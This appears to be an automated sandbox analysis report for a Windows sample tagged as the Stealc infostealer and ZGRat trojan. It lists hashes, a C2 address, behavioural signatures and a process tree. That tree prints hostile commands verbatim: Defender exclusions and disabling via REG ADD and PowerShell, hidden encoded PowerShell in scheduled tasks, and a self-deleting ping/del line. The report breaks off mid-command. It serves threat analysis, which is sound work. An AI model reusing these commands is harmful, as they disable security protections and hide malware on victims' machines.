Analysis

  • max time kernel
    122s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/04/2024, 11:07

General

  • Target

    8bc50fc624999c1b88ed8b842e195d279fdf33e24458b00d74f026026a09d2ab.exe

  • Size

    5.5MB

  • MD5

    701c4e45fa484bab72325df9cee69c80

  • SHA1

    d0b7535defb7d3141b55022312d740833fae8f2b

  • SHA256

    8bc50fc624999c1b88ed8b842e195d279fdf33e24458b00d74f026026a09d2ab

  • SHA512

    a6a3a2bd483b84e7057eb71f3215602a78c12cf37782eb6af5b1d0461ffa4e8d6834921ef9b2557211aa12cccd4fbde8e4b2c0d6ecdfbbb1e7b21ff22413f395

  • SSDEEP

    49152:xIFzxLh+7KFc/rfltudWjXjGjYBJTcWIQKY6sB+gk89esANH1vcUbgkE4W4ed+aW:8h+PL1rkPFDO3RUdSI9LwrYbn

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 6 IoCs
  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bc50fc624999c1b88ed8b842e195d279fdf33e24458b00d74f026026a09d2ab.exe
    "C:\Users\Admin\AppData\Local\Temp\8bc50fc624999c1b88ed8b842e195d279fdf33e24458b00d74f026026a09d2ab.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4852
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4232
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Users\Admin\Pictures\Ig2XMTbsMUMwjEcopGEAQZVo.exe
        "C:\Users\Admin\Pictures\Ig2XMTbsMUMwjEcopGEAQZVo.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Users\Admin\AppData\Local\Temp\u23g.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u23g.0.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:688
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\EGDGIIJJEC.exe"
            5⤵
              PID:5296
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                6⤵
                  PID:5336
                • C:\Users\Admin\AppData\Local\Temp\EGDGIIJJEC.exe
                  "C:\Users\Admin\AppData\Local\Temp\EGDGIIJJEC.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:1464
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\EGDGIIJJEC.exe
                    7⤵
                      PID:5604
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 2.2.2.2 -n 1 -w 3000
                        8⤵
                        • Runs ping.exe
                        PID:6040
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 688 -s 3428
                  5⤵
                  • Program crash
                  PID:5588
              • C:\Users\Admin\AppData\Local\Temp\u23g.1.exe
                "C:\Users\Admin\AppData\Local\Temp\u23g.1.exe"
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:5476
                • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                  "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5524
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 1512
                4⤵
                • Program crash
                PID:4348
            • C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe
              "C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe" --silent --allusers=0
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Enumerates connected drives
              • Modifies system certificate store
              • Suspicious use of WriteProcessMemory
              PID:2964
              • C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe
                C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x6fc1e1d0,0x6fc1e1dc,0x6fc1e1e8
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:4968
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\3DoD1E7f6QIa3SByU4pL39zc.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\3DoD1E7f6QIa3SByU4pL39zc.exe" --version
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1852
              • C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe
                "C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2964 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240403110840" --session-guid=92cb1a87-e99b-4f21-8e7e-a86ef33a7a9b --server-tracking-blob=MWIxZWZmMWU3NDA5ZjIyNTFmYjUzYzc4OWNjZmY2NmZjMTJkMTE0YjdhN2YyYTViY2MyODc5Yzk2ZjBjN2YxMzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N18xMjMiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIxNDI1MDYuOTQ4NyIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N18xMjMiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjY1ODQwOWNkLThhMjEtNDg1OS05NTdjLTdmMjM5MGFiYTlkNCJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C05000000000000
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Enumerates connected drives
                • Suspicious use of WriteProcessMemory
                PID:3892
                • C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe
                  C:\Users\Admin\Pictures\3DoD1E7f6QIa3SByU4pL39zc.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x298,0x29c,0x2ac,0x274,0x2b0,0x6e2fe1d0,0x6e2fe1dc,0x6e2fe1e8
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2788
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
                4⤵
                • Executes dropped EXE
                PID:5372
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\assistant_installer.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\assistant_installer.exe" --version
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:5868
                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\assistant_installer.exe
                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031108401\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0xe40040,0xe4004c,0xe40058
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:5720
            • C:\Users\Admin\Pictures\lvfiqdlEgpLKY2QMU5tQ851n.exe
              "C:\Users\Admin\Pictures\lvfiqdlEgpLKY2QMU5tQ851n.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1128
              • C:\Users\Admin\AppData\Local\Temp\7zS41F6.tmp\Install.exe
                .\Install.exe /dEKGWdidYWnQ "385118" /S
                4⤵
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in System32 directory
                • Enumerates system info in registry
                • Suspicious use of WriteProcessMemory
                PID:1400
                • C:\Windows\SysWOW64\forfiles.exe
                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5208
                  • C:\Windows\SysWOW64\cmd.exe
                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                    6⤵
                      PID:5556
                      • \??\c:\windows\SysWOW64\reg.exe
                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                        7⤵
                          PID:5992
                        • \??\c:\windows\SysWOW64\reg.exe
                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                          7⤵
                            PID:5232
                      • C:\Windows\SysWOW64\forfiles.exe
                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                        5⤵
                          PID:5296
                          • C:\Windows\SysWOW64\cmd.exe
                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                            6⤵
                              PID:5688
                              • \??\c:\windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                7⤵
                                  PID:5260
                                • \??\c:\windows\SysWOW64\reg.exe
                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                  7⤵
                                    PID:5652
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /CREATE /TN "gwPSSYjxh" /SC once /ST 03:51:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                5⤵
                                • Creates scheduled task(s)
                                PID:6000
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /run /I /tn "gwPSSYjxh"
                                5⤵
                                  PID:5396
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /DELETE /F /TN "gwPSSYjxh"
                                  5⤵
                                    PID:2448
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\QXVviRS.exe\" hl /Dnsite_idXbk 385118 /S" /V1 /F
                                    5⤵
                                    • Drops file in Windows directory
                                    • Creates scheduled task(s)
                                    PID:440
                              • C:\Users\Admin\Pictures\EzQ22QbtkQCZRtkrAriBsWmT.exe
                                "C:\Users\Admin\Pictures\EzQ22QbtkQCZRtkrAriBsWmT.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:984
                                • C:\Users\Admin\AppData\Local\Temp\7zS48AC.tmp\Install.exe
                                  .\Install.exe /dEKGWdidYWnQ "385118" /S
                                  4⤵
                                  • Checks BIOS information in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Enumerates system info in registry
                                  • Suspicious use of WriteProcessMemory
                                  PID:2816
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5216
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                      6⤵
                                        PID:5676
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                          7⤵
                                            PID:6028
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                            7⤵
                                              PID:4972
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                          5⤵
                                            PID:5284
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                              6⤵
                                                PID:5880
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                  7⤵
                                                    PID:5320
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                    7⤵
                                                      PID:5592
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /CREATE /TN "gonqCwrXl" /SC once /ST 03:56:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                  5⤵
                                                  • Creates scheduled task(s)
                                                  PID:6016
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /run /I /tn "gonqCwrXl"
                                                  5⤵
                                                    PID:5392
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /DELETE /F /TN "gonqCwrXl"
                                                    5⤵
                                                      PID:5336
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\JXOQeXI.exe\" hl /Lcsite_idBgi 385118 /S" /V1 /F
                                                      5⤵
                                                      • Drops file in Windows directory
                                                      • Creates scheduled task(s)
                                                      PID:4072
                                                • C:\Users\Admin\Pictures\qlRfdpueJ8liC4VeZi8txlFz.exe
                                                  "C:\Users\Admin\Pictures\qlRfdpueJ8liC4VeZi8txlFz.exe"
                                                  3⤵
                                                  • Modifies firewall policy service
                                                  • Executes dropped EXE
                                                  • Drops file in System32 directory
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3204
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2716 -ip 2716
                                              1⤵
                                                PID:5756
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                1⤵
                                                  PID:5928
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                  1⤵
                                                    PID:5936
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                    1⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:5604
                                                    • C:\Windows\system32\gpupdate.exe
                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                      2⤵
                                                        PID:5468
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:5608
                                                      • C:\Windows\system32\gpupdate.exe
                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                        2⤵
                                                          PID:1752
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2660 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:8
                                                        1⤵
                                                          PID:3080
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4012 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:3
                                                          1⤵
                                                            PID:6068
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 688 -ip 688
                                                            1⤵
                                                              PID:1620
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                              1⤵
                                                                PID:2940
                                                              • C:\Windows\system32\gpscript.exe
                                                                gpscript.exe /RefreshSystemParam
                                                                1⤵
                                                                  PID:5492
                                                                • C:\Windows\system32\gpscript.exe
                                                                  gpscript.exe /RefreshSystemParam
                                                                  1⤵
                                                                    PID:2972
                                                                  • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\QXVviRS.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\QXVviRS.exe hl /Dnsite_idXbk 385118 /S
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    PID:5476
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG 